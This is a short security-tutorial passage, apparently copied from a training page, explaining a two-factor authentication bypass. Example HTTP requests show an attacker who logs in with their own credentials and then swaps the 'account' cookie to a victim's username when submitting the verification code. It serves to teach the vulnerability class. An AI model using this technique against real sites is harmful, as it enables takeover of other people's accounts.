2FA bypass

They are then assigned a cookie that relates to their account, before being taken to the second step of the login process:

HTTP/1.1 200 OK 
Set-Cookie: account=carlos 
GET /login-steps/second HTTP/1.1 
Cookie: account=carlos

When submitting the verification code, the request uses this cookie to determine which account the user is trying to access:

plaintextCopy codePOST /login-steps/second HTTP/1.1 
Host: vulnerable-website.com 
Cookie: account=carlos 
... 
verification-code=123456

In this case, an attacker could log in using their own credentials but then change the value of the account cookie to any arbitrary username when submitting the verification code.

plaintextCopy codePOST /login-steps/second HTTP/1.1 
Host: vulnerable-website.com 
Cookie: account=victim-user 
... 
verification-code=123456

Last updated